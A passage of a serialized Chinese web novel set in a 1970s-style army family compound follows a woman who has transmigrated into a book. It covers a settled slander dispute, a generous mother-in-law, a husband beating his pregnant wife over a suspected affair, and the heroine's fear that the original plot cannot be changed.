苏陈皮顿了一下,
“我本想把药直接送张家去。结果看
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见张政委家有客人,怕不好,就没去他家,路上碰到了张红英。”
”不可能,你两就是相好,根本不是送药。“
李菊花不干了。
今天她要不死咬着这两人,事情彻底黄了。
回去夏千燕饶不了她。等以后消息传到她男人耳朵里,她男人一准会说:
你个臭婆娘,长了一张破嘴,就会乱编排人,再给老子惹事,老子打死你个只会生赔钱货的东西。
李菊花扯着嗓子说,
“事情不能光靠你们几张嘴说不是,就不是了,你们连个证人都没有。”
门外一个响亮的声音传进来,
”我们来当证人。“
随着声音,一个粗壮高大的嫂子走了进来,
”李菊花,我张秋月来给红英妹子做证人。“
张秋月啪啪拍了两下巴掌,
”大家听我说,我和刘招娣一起洗澡回来,路过小树林,看见苏班副给红英妹子送药了。“
跟在张秋月身后的是一个瘦小的年轻军嫂,声音怯怯地,
”是的,我也看见了。“
张秋月粗着嗓门说,
“我们两个走的是另一边,看到苏班副给红英妹子送药。还看到了李大山冲过去打苏班副。“
张秋月白了李菊花一眼,
”事情根本不是李大山说的那样,什么亲亲撕衣裳的。没有那回事。人家两个就只是在树下正经说几句话。李大山倒好,不光拿灯照人家,吼一声抓流氓,冲过去就**家。“
刘招娣弱弱地跟着点头,
”是的,就是这样。“
”你们两个胡说,要真是像你们说的那样,你们刚才怎么不跟着来做证。“
张秋月又白了李菊花一眼,
”你以为人人都像你那样,闲得四处找人的事。我们不得回家做饭奶孩子吗?“
张秋月说到这里,又不好意思地对红英妈笑了一下,
”不好意思啊,红英妈,我们当时只想着多一事不如少一事,天黑了,家里还有那么多孩子等着吃饭。“
”这不,吃饭的时候,我把这事给男人说了一嘴。我家男人说我觉悟低,没有集体意识,缺少同志友情。这不,一碗饭都没让我吃完,就让我赶着来做证人了。“
刘招娣又跟着点头,
”是的,秋月嫂子来我家找我,我男人才让我出门。“
张秋月拉着红英妈的手,
“不好意思啊,红英妈,我们来晚了。”
第28章 男娃?不知是谁的种呢
红英妈眼泪在眼眶里打转,
“不晚,真是太谢谢你们了。给我闺女洗了清白。”
“谢啥,咱都是一个家属大院的,谁以后不用着谁。应该的,都是应该的。”
刘招娣也跟着小鸡啄米一样点头,
“是的,应该的,都是应该的。”
温**听到这时,哈哈一笑,
“好了,既然是一场误会,那这件事就至此为止。大家都不必太在意。纠察队的同志是为了工作,大家也都是为了集体。”
闺女的事总算解决了,红英妈身体直发软。
她感激地看着苏圆圆。
觉得她整个人都在发光,圆润润的,像极了救苦救难的活菩萨。
“说的好听,谁家的狗能比人金贵。人都吃不起的药,给狗吃?”
李菊花不满地嘀咕,她们三个人,忙活了这么久,没能扳倒张红英,竟然还让她的秘密有了败漏的风险。
她气不过。
这句话落到红英妈耳朵里,立马不愿意了,
“我们家的将军,那可是立过功受伤退下来的狗,可不是比一些人要金贵的多吗。”
男人是做思想工作的,一向讲究在外人面前的形象。
红英妈轻易不会和人红脸扯皮。
今天这个李菊花,这么蔫坏的一个人。差一点毁了她闺女。
红英妈恨恨,
“你也是有三个闺女的人,往别人家闺女身上泼脏水的时候,也想想自己的闺女。”
“你——”
李菊花气不过,
还想拉着夏千燕,让她帮自己撑场子。
夏千燕已经生气地转身离开了。走的时候,看都没看李菊花和李大山一眼。
两个蠢货,真是一点用也没有。
张政委两口子所有心思都在闺女身上,拉着闺女就走。
张红英看了一眼被松绑,一身伤的苏陈皮,再心疼也知道这个时候,不太好露出关心。
顺从地跟着她爸妈离开了。
“圆圆,我们也回去吧,天黑又冷,别冻着你。”
“妈,你先回去吧。我和战北留下来,晚一会再走。”
温**看了一眼一身是伤的苏陈皮,知道后面是苏家的事,她不好掺和。
“那好,我先回去把饭给你们做好。等你们回去就能吃上热乎的。”
温**操心着她做了半截的饭,也跟着张政委回去了。
“我带两个人送苏班副到医院看看吧。”
王队长觉得,他要不做点什么弥补,真是受不了霍团长盯他的眼神。
“王队长客气了。”
苏圆圆冲着王队长微笑,通过张政委与他的对话,她看出来了,这个纠察队队长,有些小鸡肚肠。
对这样的人,还是客气远离的好。
苏陈皮想说什么,被妹妹一瞪,立马顺从地跟着王队长的人去医院了。
李菊花没法,只能悻悻地离开,才一转身,脚下一疼,刚才来的路上崴了脚,这会子越发疼了。
低头一看,脚脖子都肿了。
“我送你回去。”
李大山心疼地去扶她。
走到门边,高大粗壮的张秋月挡了半扇门,李菊花一时恶从心起,
“不说话没人拿你当哑巴,没事四处瞎显摆啥。”
她心里气,要不是这个多嘴的张秋月,她怎么着也得咬下张红英一块肉来。
想到这,李菊花恨狠狠瞪了张秋月和刘招娣一眼。
要说在整个家属院,李菊花最烦谁,当然是张秋月了。
她生三个闺女,张秋月生四个闺女。
凭啥她在家里被男人嫌弃,是只会生赔钱货,没用的东西,天天挨打。
再看张秋月同样是生闺女,还比她多生了一个,到现在也没生儿子,却在家里依然当家作主,被男人宠着。
“还说别人呢,你也不瞧瞧,你堂哥对你可真是疼。要是不知道的,还以为是你男人呢?”
张秋月瞧着李菊花突然笑了。
家属院第一厉害军嫂张秋月,那可是啥都能吃,绝对不吃亏。
同样是生了一窝闺女,她男人都没说啥。就这个李菊花,动不动就在家属院里说她坏话,还一再挑拨她婆婆让她男人打她。
尤其李菊花怀了第四胎以后,满院子嚷嚷着,她这肚子里怀的是男胎。
弄得她婆婆没少在她耳边唠叨,让她赶紧怀第五胎。
这李菊花在家属院就是个搅屎棍,见不得谁家比她家过得好一点,恨不得所有军嫂都比她过得惨。
“你满嘴喷粪,说谁呢,你?”
被人戳着痛脚,李菊花禁不住跳脚。
“我说谁,谁知道。满院子嚷着怀了个男娃,这说不定,根本不是烂脸的种呢?”
“张秋月,你说谁烂脸呢?”
烂脸是李菊花男人张治国的外号。
张治国出任
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务烧伤了脸,退到二线,在后勤部当了一名仓库保管员。
因为毁了半边脸,性格有些阴郁,与人不太好相处,人在背地里叫他烂脸。
张秋月?
苏圆圆想,怪不得她刚才听着这个名字熟悉呢。
这在原书中,就是那个一直劝原主,好好和霍战北过日子,别作天作地,到时候把男人作到别人家里去,她就后悔了。
嗯,她想做的事很多,正缺帮手呢。
张秋月和刘招娣就撞上来了。
“和人吵嘴斗气没用,菊花,赶紧回去歇着才好。”
李大山也头疼李菊花这性子,像狗一样,见人不管是谁,都想咬一口。
这地方再呆下去,对他们两都不利,赶紧离开,才是正理。
“你们两个不能走。”
苏圆圆突然出声阻止。
“咋得,你还想绑起我们不成?”
李大山粗声粗声,
“我们就只是做个证人罢了,公家都没追究我们啥事,你还想仗势欺人吗?”
“我三哥是你打的吧?”
“是我打的,怎么了,刚才不是说清楚了吗?就是个误会。”
李大山梗着脖子,一副你能把我怎么样的不讲理样。
“你承认人是你打的就行,你打错了人,总得赔礼道歉,付些医药费吧?”
一谈到钱,李菊花就炸了,
“都说了,是个误会。我们也是见义勇为,为了集体着想。凭啥赔你钱啊?”
苏圆圆根本不理会李菊花的狂叫,她只看着李大山,
“打伤人赔医药费,是理所当然。你要是不给,我就去你家。问你媳妇要,我倒要问问你媳妇,她男人打了我三哥,她要不要赔钱?”
一听苏圆圆说要找李大山的媳妇。
李菊花像被掐住了脖子的鸡,立马不叫了。
“我给,我给还不行吗?”
李大山也怂了。
今天这事,落到他媳妇耳朵眼里,他后半辈子都毁了。
毕竟是男人,怂归怂,并不会失智。
“医药费我可以赔给你,道歉,我在这里也可以给你道歉。但我有一个要求,你要是不能答应,那今天谁的事都不能算完。”
李大山开车运货多年,见的人多,经的事也多。
身上自然有一股狠劲。
苏圆圆点头,
“成交。医药费一百,拿来,今天这事就结了。”
第29章 别让你闺女去撸槐花
一百?
李菊花又想尖叫。
被李大山一个眼神制止了。
“我口袋里今天只有八十。”
“八十也行。”
苏圆圆只想今天的事,今天就了。
要知道,李大山这样的狠角色,要是他真浑起来,到时候死咬着三哥和张红英,也是个麻烦事。
苏圆圆只想着让两人扒层皮,并没有想要彻底逼两人鱼死网破。
说到底,今天三哥和红英姐这件事还是有些悬的。
“给你!”
李大山从口袋里掏出八张大团结,拍到桌子上。
扶着李菊花转身走了。
“那个,霍团长和妹子,我们也回去了。”
张秋月拉起刘招娣刚要走,被苏圆圆喊住。
“我叫苏圆圆,是霍战北新娶的媳妇,住一个大院,以后还望两位嫂子多多照顾。”
霍战北唇角禁不住上扬,嗯,圆圆对外人说,她是他新娶的媳妇呢!
“那是自然,我比你大,以后我就叫你圆圆妹子,你叫我秋月嫂子就行了。”
张秋月很爽快,指着刘招娣说,
“她是你招娣嫂子,有事你以后只管来找我,或者叫招娣来叫我,都行。”
“这个给你们。”
苏圆圆塞给张秋月和刘招娣一人一张大团结。
两人吓了一跳,她们的男人一个副连长,一个仓库管理员,月工资也就几十块钱。
苏圆圆这一出手,就给她们一人十块钱。
她们哪敢拿,何况霍团长还在跟前。
整个军营,谁不怕霍团长。不但她们的男人怕,就是她们这些军嫂哄娃娃,都经常说:
你再不乖,再不好好吃饭,再不好好睡觉,就把你送给霍阎王,啊呜一口吃掉你。
吓得孩子们都不敢哭了,立马乖乖睡觉,乖乖吃饭。
两人死活不要。
“我媳妇给你们,你们就拿着吧。”
霍战北突然出声,吓得两人一僵。
握住手心里的钱,也不敢再给苏圆圆了。
“那多谢了,霍团长,圆圆妹子,我们走了。”
出来一趟,只做个证人,就挣了十块钱,两人还挺高兴的。
尤其张秋月,觉得还是她男人有眼光,要不是她男人撵自己来做证,能挣这十块钱吗?
走出纠察大队院子,几人一起走了一段路。
三个女人一台戏,走没多远,三个人就熟悉起来。
岔路口分开的时候,苏圆圆突然想起在书里看到的一个细节,叫住了张秋月,
“秋月嫂子,刚才听你们说,明天孩子们要去槐树林撸槐花。”
“嗯,圆圆妹子,你要是也想尝个鲜,明儿我那几个闺女撸了来,我蒸好给你送一碗去。”
张秋月很爽快。
“秋月嫂子,如果你信我,明天别让孩子去撸槐花,也不要让孩子去河边玩。”
张秋月一怔,不知道为啥苏圆圆会提这么古怪的要求。
但这又不是啥大事。
她向来是个爽快性子,既然认了圆圆妹子是自己人,自然不会多想,
“好,都听圆圆妹子的。”
看着两人走远了,
苏圆圆在原地怔了一会。
“你不问我,为什么对秋月嫂子说那样的话?”
“你是我媳妇,你想说啥话,就说啥话。这有啥好问的。”
霍战北回的利索。
一股暖流涌上心头。
其实刚才苏圆圆也有些犹豫,她想起书中有一个细节,秋月嫂子的小闺女,就是在一次上树撸槐花的时候,从树上掉下来摔瘸的。
同一天,家属院里,还有一个小孩掉水里淹**。
谁家的小孩,她记不住。
刚才她想提醒,既怕秋月嫂子不信,又怕霍战北听了有啥怀疑。
犹豫了一下,还是觉得,得说。
万一呢?
没想到,秋月嫂子和霍战北都这般无条件信她。
苏圆圆一开始,决定她穿书这个秘密,打死也不会让任何一个人知道。
现在,这个决定有了些动摇。
……
“妈,这一桌子菜,都是你做的?”
正午的阳光照在堂屋饭桌上,苏圆圆被温**热情按在椅子上坐下。
四菜一汤。
猪肉白菜炖粉条,辣椒炒肉,地三鲜,白菜豆腐汤。
卖相是挺好看的。
可苏圆圆真心不敢伸筷子。
昨晚那一顿婆婆做的饭,让她吃出阴影来了。
不是半生不熟,就是咸得要死。
“你放心吃。妈今天真学会了,完全按照红英妈教的步奏来的。”
温**拍着胸脯保证,她满腔热情扑在照顾怀孕的儿媳妇身上,没办法,奈不住自家手艺不行。
昨天的晚饭,她是兵败滑铁卢。
今儿上午一半天,她又是采买,又是向红英妈学习,总算做出了一顿像模像样的饭菜。
“妈,其实我孩子怀相很好,你不用担心。我自己可以照顾
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自己,也能照顾好战北。”
苏圆圆知道婆婆是真心的,可是她婆婆也太能折腾了。今天一大早就起来,又是打扫屋子,又是去买菜,拿去隔壁做饭。
当婆婆的忙上忙下,她一个当儿媳妇的总不能还在睡懒觉。
搞得她也跟着早起,现在都中午了,她还一点精神也没有。
要是婆婆真不走,请假在这儿照顾她一个月。
苏圆圆一想到,她以后每天早上都得五点起……
**,真的**。
这可是五月的春天啊,春困再加上她孕困,真是要了她老命了。
“我尝尝。”
霍战北拿起筷子吃菜,顺手把郑好打来的饭盒推到苏圆圆面前。
苏圆圆趴在桌子上,瞪着两只可怜兮兮的眼睛,咬着筷子头。
当着婆婆的面,和她男人这样秀恩爱。真的好吗?
“白菜有点生,粉条有点硬,肉有点腥,辣椒有点咸,嗯,豆腐是熟的。”
霍战北面无表情地点评。
他说一句,温**跟着尝一下,脸上神情越来越失望。
温**想起来,今天上午她去张政委办公室,给战北爸爸打电话。
……回忆……
“真的,我们儿媳妇真的怀孕了?我们老霍家真的要有后了?”
战北爸爸激动的声音都变了,
“我得赶紧给老爷子讲,老爷子这一会可不要再看,他那些老战友儿孙满堂,羡慕地在家转圈圈,总骂我没本事。”
一提到这事,战北爸爸就委屈,
“你说说,是咱儿子不能生,又不是我没儿子,老爷子就只逮着我一个人骂。看见咱儿子,一句重话也不说他。”
“你可别一上来,就对老爷子说孩子的事。你先给老太太透个信,然后再慢慢给老爷子说。”
“对,对,**还是你考虑的周到。我是一下高兴傻了。忘了老爷子心脏不好。慢慢说,我就先说咱儿子要娶媳妇的事,然后再说儿媳妇怀孩子的事。”
战北爸爸在电话那边,高兴地一个劲嘿嘿傻乐,
“**你就别回来了,在那边好好照顾儿媳妇。我去学校替你请假。”
“嗯,我也是这样想的。学校要是不同意,你就先替我请一周的假。”
温**想了想,
“一周后实在续不上假,我走的时候,会把这边全安排好。找个人收拾屋子做饭,照顾咱儿媳妇。”
想了想,温**又加了一句,
第30章 婆婆太豪横怎么办
“咱家的事,都是你说了算。不管啥事,你看着办,和我商不商量都不打紧。”
“这件事是咱儿媳妇的事,我得和你商量一下。”
“儿媳妇的事?那你赶紧说。”
“昨儿晚上吃饭时,我听咱儿媳妇的意思,她不愿意在家闲着。想出去找个事做。”
“哎哟,这可不行,怀了孩子,咋还能出去做事。战北这个臭小子,一点也不像我,咋就不知道疼媳妇。”
战北爸爸一听就不愿意了。
“嘘,你嚷那么大声干啥,这是咱儿媳妇的意思。咱家那个小子,可比你知道疼媳妇。”
温**笑了,
“她媳妇要让他躺着,他都不会站着。这是儿媳妇要去工作,他憋屈地很,也不敢反对。”
“是儿媳妇想出去工作啊,这我得想想。媳妇,要不,咱给托托关系,在部队里给咱儿媳妇找个轻省的工作。”
温**觉得,男人真是和她完全想一块去了。
他们霍家处在那个位置上,老爷子从不让家人动用关系办事。
不管是她男人当医生,还是她儿子当兵提干,都是靠自己拼上去的。
但在儿媳妇找工作这件事上,她和男人想法一致。
相信就是老爷子知道了,也会赞同的。
毕竟儿媳妇可是娇滴滴的姑娘家,不比她家臭小子皮实耐造。何况还怀着孩子,万一出点啥事……
啊呸,温**信了一辈子唯物主义。
这会子也赶紧朝地上吐口唾沫,把刚才那晦气的想法给呸掉。
看的旁边坐着的,假装办公的张政委,目瞪口呆。
……回忆结束……
“妈,你又不会做饭。你就别折腾了。你嫁给我爸这么多年,家里不是一直都是奶奶做饭吗?“
”你平时连下个面条都不知道生熟,你就别折腾我们,也别难为你自己了。”
霍战北的声音,惊醒了温**的回忆。
这个臭小子,嘴咋那么毒呢?
一点面子也不给她留。
要不是当着儿媳妇的面,温**觉得,她一准给这臭小子几个大耳刮子。
“唉,真是的,妈得承认,做饭妈还真不行。不过,妈会收拾屋子,陪圆圆逛街买东西。”
温**像是找到了自己存在的价值一般,
“你们这不是才搬过来住吗?家里啥都没有。今天我就陪圆圆出去采买。把过日子的东西全买齐。”
温**这两顿饭,都是在张红英家做的。这个新家可真是啥也没有。
“唉唉,妈呀,你别忙了,这些小事我慢慢做。”
温**看着儿子嫌弃的眼神,再看儿媳妇欲言又止的样子,还有啥不明白的。
她在这里,不但帮不了儿媳妇,还给两孩子帮倒忙。
“那个,家里的事既然不要妈帮忙。那你们办婚礼的事,妈帮着张罗张罗。”
“妈,婚礼的事有楚行止帮着筹备,你还有啥不放心的。”
霍战北一脸,妈你就别再添乱了的表情,让温**闭嘴了。
“那个,既然妈在这里,啥忙也帮不上。”
温**进屋把她的提包拿了出来,
“妈来的时候,走的太急,啥东西也没带,就带了这一点钱和票,圆圆你拿着,看着买些家用的东西。”
好厚两沓子!
苏圆圆目测了一下,都是十块的大团结,大约有二三十张的样子。
票都是全国通用粮票,全是五市斤的,目测一下,也得有十几张。
妈呀,苏圆圆按捺不住内心的激动。
这不得有两三千块钱,六七十斤粮票?
这就是婆婆眼里的一点钱和票?
发了,这真是亲婆婆呀,一出手就这么大方。
感情她不但强嫁了一个军官,还送了一个富有大方的超级好婆婆!
嘿嘿,
苏圆圆可不客气,伸手拿过来,对着婆婆甜甜一笑,
“谢谢妈,妈你太好了,妈以后你就是我亲妈!”
原来儿媳妇喜欢钱啊!
温**终于找到了她的用武之地。
“圆圆你放心,你想买啥就买啥。不用给妈省。你爷爷奶奶有退休金,你爸和我都上班。咱全家都挣钱,就是没人花钱。”
“媳妇,我的钱也全都给你。”
霍战北突然有一种危机感。
全家人里面,好像
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他挣钱最少,媳妇不会嫌弃他吧!
苏圆圆眼眶一热,现代的自己除了奶奶,再没有一个人疼她。
如今穿书到了这里,不但娘家人都宠她,现在连婆家人也宠她,男人就更不用提了。
真是太幸福了!
“我再在这里呆两天,把事办完就回去。置办些你们结婚用的东西,请好假,到时候,我们全家提前三天来。”
温**犹豫了一下,
“圆圆,要不要我给你父母打个电话,还是请人去你家走一趟,提亲下礼”
温**想着,农村人规矩多,尤其是婚葬嫁娶,弄不好,失了礼数,会让人笑话。
“不用了,妈,我和战北商量好了。打电话给我家里,让他们到日子前两天来。”
“那就好,到时候我们两家大人见面了,我可得好好谢谢亲家母。给我们霍家送了这么好的儿媳妇。”
苏圆圆乐了。
如果说在这之前,她最担心的就是嫁进霍家这样的高门,婆媳关系难相处。
现在总算一块石头落了地。
她这位婆婆太好了,懂理、热情、高知、疼人、还出手大方。
“啊,**了,快救命啊,要**了!”
突然院外传来一阵嘈杂的脚步声,女人孩子的哭叫声,还有男人的怒吼声。
“妈,你在家看着战北,我出去看看,出了啥事?”
现代的苏圆圆除了看书和手术,啥也不关心。是典型的宅女。
穿书这一辈子,她决定要活得热热闹闹。
“战北,你一个人在家看家吧,我看着圆圆去,人多别让人碰着她肚子。”
温**赶紧追着儿媳妇去了。
温**发现儿媳妇除了可爱、嘴甜、聪明、爱钱以外,又加了一个特点,那就是爱看热闹。
温**一边追儿媳妇,一边反思自己,她是一个历史教授,古板冷淡,
要让儿媳妇喜欢,她也得学着多去人群里,和人交流。
刚才屋里还是热热闹闹的三个人。
转眼间,就只剩下霍战北自己风中凌乱了。
他媳妇就这样把他丢下了?
他妈也把他丢下了?
第31章 她男人经常打她吗
霍战北转动轮椅,也跟出去了。
他可不是去看热闹的,他是要去问他媳妇:
是看热闹重要,还是他重要!
这会子是吃中午饭的时候,家属大院里,大人下班了,孩子放学了,正是人最多的时候。
听到动静,大人孩子都从家里出来。
有端碗的孩子;有围裙都没解下、就跑出来拉架的嫂子们;也有叼着烟的男人们。
军区共有三个家属院,分别叫一号院,二号院,三号院。
这是第三号院,也是人数最多,工种最杂的一个家属院。
三号家属院共四排房子,第一排是两栋六层楼房,住着连级及以下军属,还有供销社食堂后勤等家属。第二排、第三排、第四排都是带院**房。
第一排住着后勤管理人员的家属,二排、三排都是团级以上干部家属。苏圆圆家住最后一排。四排房子正中间有一条贯通南北的大路,两边种着两排白杨树。
“别打了,她还怀着孩子呢?”
大家都围在第一排平房中间的大路上。
苏圆圆到地方,正好看到,一个披头散发的瘦弱大肚子女人,正围着几棵白杨树转圈圈。
后面一个穿后勤工作服的男人,手里拿着一个高粱穗笤帚,追着女人打。
“烂脸,你快住手,打出事来,几个孩子咋弄?”
烂脸?
苏圆圆向前一步,透过四散围观的人群,她正好看到男人凶神恶煞的半边脸。
全是烧伤的疤瘌,狰狞可怕。
“张治国,你可不能犯浑,菊花肚子里怀的是个儿子。你要打没了,你家张家香火就断了。”
一个圆脸中年嫂子冲着烂脸喊。
“打,治国,打死她个不要脸的。还不知她肚子里揣的是谁的种?”
一个小脚老太太,冲着烂脸喊。
李菊花!
张治国!
苏圆圆恍然大悟,原来是李菊花正被她那个烂脸男人打。
这个跳得最欢的小脚老太太,看样子就是李菊花那个特别重男轻女的乡下婆婆了。
“圆圆,你咋来了,快到这边来,别让人碰着你的肚子。”
张秋月还围着围裙,提着锅铲子,看到苏圆圆,立马把她拉到一边。
“秋月嫂子,这是出啥事了?李菊花男人为啥打她?”
苏圆圆心想,不会是李菊花肚子里怀野种的事,被她烂脸男人知道了吧?
啪,啪,啪——
高粱穗笤帚打在李菊花身上,发出瘆人的响声。
李菊花被抽的嗷嗷叫,却不敢回头抓男人,只能围着树跑,或者往人群里钻。
“她男人经常打她吗?这么多人,怎么没有人拦着啊?”
苏圆圆觉得奇怪,古语说的好,秦桧还有三个相好的呢?
这李菊花总会有三两个朋友吧,她挨打,居然没有人拦着。
“你来的晚,你不知道。李菊花这个人嘴贱,见天在外面歪着嘴搬弄是非。”
张秋月撇撇嘴,
“人家找上门,她男人就打她。她男人一打她,她就出门往外跑。”
旁边一个嫂子接话说,
“可不是吗?这两人就是一对子贱。烂脸脾气像个炮仗,一点就着。李菊花一挨打就满院子跑,别人还不能轻易劝。”
“就是,人家要是拉架。拉不好,他两口子就一起去人家坐着,不走了。”
“对,还有她那个婆婆治国娘,也是个不上线的。要是有男人拉她儿,她就骂人家是李菊花的相好。”
“一家子三口子,没有一个讲理的。谁敢拉,都怕惹一身骚。”
“反正这女人也扛打,打一顿,第二天一早,又会跑院子里说人闲话。是个打不改的货。”
“哎哟,别打我肚子。”
李菊花毕竟是个孕妇,哪里跑得过张治国一个大男人。
终于被男人抓住,张治国这一次不是拿高粱穗笤帚抽她后背,而是一脚朝着她的肚子踢过去。
那狠劲,分明是要李菊花肚子里孩子的命。
“啊——”
李菊花这一次吓软了脚,眼看着男人这一次不像以往那样,打她只是小惩大戒,雷声大雨点小。
而是下了狠心,真想要她肚子里孩子的命。
这一脚实打实的下去,别说她肚子里孩子得没,她的
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命也差不多得去半条。
“住手,张治国!”
这一声喝斥,是张政委的声音。
虽然昨儿这李菊花差一点毁了他闺女。
可那是私事,于公来说,他是政委,专门管做思想工作,看到这事,他不能不问。
“你犯啥浑?真是显着你了!”
一个男人冲过去,一把推开烂脸。
上前扶起李菊花,
“你肚子没事吧?”
“我?”
李菊花一看冲过来的是李大山,眼泪一下子就出来了,
“大山哥,他想要孩子的命,也想要我的命。”
下面一热,感觉到一股热流顺着裤腿淌下,李菊花吓得失声尖叫,
“我羊水破了,我要早产了。孩子,我的孩子要**——”
“快来人,帮一把手,送菊花去医院啊!”
李大山喊四周看热闹的嫂子们,帮忙把李菊花赶紧送医院。
“别动她,我来看看。”
苏圆圆看到,刚才那个喊着李菊花肚子里怀的是儿子的那个圆脸中年嫂子,走过来,
“赵医生,你快点给菊花看看,孩子还有没有救?”
李大山声音都有些发颤。
他们家住一号院,离这有点远,他听着烂脸打李菊花了,紧赶慢赶才来到。
圆脸嫂子——也就是赵夏至,她是军区医院妇产科医生。
也就是她给李菊花做的检查,根据她多年经验,判定李菊花这一胎一定是个男孩。
这时,赵医生真是后悔**。
她觉得,今天自己就不该多那一句嘴。
见了治国娘一时高兴,就和她唠了几句嗑。
说了昨儿她儿媳妇去检查,怀的是个男孩子,还说送她去检查的男人——也就是张治国对媳妇可温柔了。
夸几句她儿子儿媳妇感情可真好。
谁知道,这时候,张治国正好下班回来了。
叫了一声娘。
赵医生偏又多问了一句,
“大娘,这个也是你儿子啊?”
一句话捅了马蜂窝。
这娘俩扔下她,转身就回家了,一会功夫,家里就传出杀猪般的嚎叫。
第32章 当众尿裤子
等烂脸追着媳妇打的时候,赵医生才发现,她说错话了。
原来昨天送这家儿媳妇去检查的男人,根本不是这家的儿子。
没办法,谁让赵医生是才从外地转来的,搬进李菊花家隔壁楼房才几天。
碰巧,这几天张治国都是夜班,赵医生是白班,两人完美错过。谁都不认识谁。
这才闹了今天这个大乌龙。
“赵医生,孩子不会有事吧?”
李大山紧张地盯着赵医生看。
看着面前这张熟悉的脸,这不正是昨天陪着这小媳妇去检查的男人吗?
赵医生还有啥不明白的。
“孩子没事,大人也没事,就是裤子有事。”
赵医生检查了一下,要真是孩子出事了,她都过不去自己心里那道坎。
毕竟不管爹娘有啥错,孩子是无辜的啊。
结果,检查了一下,赵医生尴尬的脸色变了几变,都不知道该说啥。
“没事,怎么可能没事?我羊水都破了,不是说羊水流干了,孩子会在肚子里窒息死吗?”
李菊花完全吓破了胆,这会子她看谁都像是要害她。
“羊水没破。”
赵医生有些尴尬,不知该咋说。
“那我裤子咋湿了?”
“还能咋湿了?吓破胆,尿湿裤子了呗!”
旁边有嫂子笑起来。
“真不是羊水?是——”
李菊花盯着赵医生,看赵医生尴尬的点头,她脸一下子爆红。
她再脸皮厚,这当众吓尿裤子的事,也太丢脸了。
哈哈哈,大家都笑起来。
“大花的娘,尿裤裆!”
不知哪个小娃起了个号子,几个小娃一起哄喊,接着更多的小娃喊起来,夹杂着一阵阵笑声。
大花的娘,尿裤裆!
大花的爹,烂脸王!
大花的奶奶,颠着小脚跑得忙!
一群小娃哄喊着,被大人追打,骂着,还是做着鬼脸,一边跑一边喊。
大花?
看苏圆圆一脸迷茫,张秋月笑着给她解释,李菊花生了三个闺女,老大叫大花,老二叫二花,老三就叫三花。
“这起名哪有闺女和娘用一个字的?”
苏圆圆不理解。
村里规矩大,儿孙起名,是绝不会沾爷奶爹娘名字中的字的。甚至讲究的,连曾祖中的字也不会沾。
“还能为啥?”
张秋月斜了一下治国娘,
“是她婆婆给孩子起的呗,恶心李菊花只生闺女不生儿的。”
“回去吧,外面冷。”
一直站在苏圆圆身边的温**发话了。
苏圆圆转身,这才发现,她身后站着婆婆温**,婆婆身后正是坐在轮椅上的霍战北。
这家伙啥时候也跟出来了。
苏圆圆转身推着霍战北轮椅。
“妈,你先回去,我一会和战北一起回去。”
温**:儿媳妇又撵我,好吧,我就先回去吧,别耽误儿子媳妇黏糊,增进感情。
“李大山,你抱着我媳妇,算咋回事?”
张治国歪着半边烂脸,阴森地眼神落在李大山抱着李菊花的手上。
赵医生和他娘说的那些话,他全听到了。
一个男人带着李菊花去检查,两个人像一对恩爱夫妻。
这人,他原本去医院一查就知道。
但现在,张治国觉得,他不用去查了。
这个人,就是常去他家,看望李菊花的李大山。也就是李菊花嘴里说的,她老家的堂哥。
他怎么那么傻呢,这两个人说啥,他就信了呢?
他西北老家离部队远。
她娘来一趟不容易,所以来的少。
这一次,他娘听说李菊花又怀上了,特意去求了签,签上说是个男胎。
他娘大包小包,坐火车,坐驴车,跋山涉水来照顾他媳妇。
把老家一大摊子人和事丢下,破天荒在这里住了一个多月。
这段时间,他娘给他说过几次,说觉得李菊花和她那个堂哥有些猫腻。
他不信,这两人是亲戚,远离家乡,亲人相见,相互照顾着点,不是很正常吗?
他总说他娘就是想的多。
张治国之所以那么自信,也是觉得他虽然脸毁了一半,可他是正式工啊,一个月几十块钱的收入呢。
除了给家里寄和留下十块钱自己喝酒。
剩下的钱全交给了李菊花家用。
李菊花那个破娘家,穷得叮当响。
李菊花就是嫁给他,跟他随了军,才吃了几顿饱饭,不再穿那补丁摞补丁的衣裳。
打死李菊花,她也不敢有二心啊。
谁知道,这两人竟然在他眼皮子底下玩猫腻呢!
“治国啊,你可不能听人说个闲话,就上火打媳妇。”
李大山这时候也回过神了,知道自己有些唐突了。
但他自信这张治国是个酒鬼,不长脑子。
他和
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李菊花都好这么多年了,两家人来来往往,张治国都没发现。
这回一准是听了谁的闲话,一时上火,给他多说几句好话,请他喝两场酒,他火就熄了。
“我这妹子也是可怜,离家这么远,一心跟了你。你不疼她,谁疼她呢?”
啧啧,苏圆圆在旁边听着,都觉得牙酸。
没想到,这个李大山看着粗鲁,内心还挺细致的。
看这样子,他对李菊花还是有几分感情的。
“走,咱先送菊花回家。一会咱哥俩去喝一杯。有啥事,和哥说说,别憋在心里。”
给你说啥啊?
苏圆圆在旁边听着,不由替这个李大山点个赞,真牛!
让人家媳妇怀了自己孩子,还能和人家男人一起喝酒称兄道弟,真是个牛人。
“喝酒,你说的对,我们去喝酒,这一次,我请你,咱不醉不归。”
两个男人竟然放下李菊花,相互扶着,径直去喝酒了。
还能有这样的事?
苏圆圆觉得,这一幕直接刷爆了她的三观。
两男人离开了,李菊花也拍拍裤子,瘸着脚向家走去。
热闹看完了,苏圆圆又和张秋月说了几句话,推着霍战北正要走。
“从树上掉下来喽,腿摔断喽!”
刚才唱大花的娘尿裤裆的一群小娃,有几个跑过来,冲着大人们喊着,
“快去救人,有人撸槐花,从树上摔下来了。”
“摔晕过去了,腿都断了!”
啊——
张秋月猛地抓住苏圆圆的手,
“圆圆,我听了你的话,今天没有让我闺女去槐树林撸槐花。”
苏圆圆清楚地记得,书里是有这一段,小孩子撸槐花,从树上掉下来,摔断了腿。
摔断腿的那个小孩,就是张秋月的小闺女。
现在张秋月没有让孩子去槐树林。
怎么还会有孩子上树,摔断腿呢?
苏圆圆面上不显,内心却惊骇极了。
她穿进的这本书是军婚年代文,书名叫《重生小娇妻,军婚甜蜜蜜》
她都拦住了张秋月的孩子,为什么故事情节还是没有改变?
如果这本书,不管她做了什么努力,作者都会续上原书的主线情节?
那么,
她还是会难产而死?
夏千燕还是会嫁给霍战北,抢了她的男人,打着她的孩子吗?
大中午的,苏圆圆后背一阵发冷。
第33章 从树上摔下来了
“是谁?哪个孩子掉下来了?”
旁边几个看热闹,还没有散去的嫂子们,一听槐树林出事了。都吓得变了脸色。
五月的天,正是槐花最嫩的时节,家属院西边有一片老槐树林,每年这个时节,槐花都开的一串串,家家派孩子去摘。
摘回来,不管是配鸡蛋炒一碟,还是洒上面粉上锅蒸一下,都能给贫瘠的饭桌添一道菜。
“是男孩,还是女孩?”
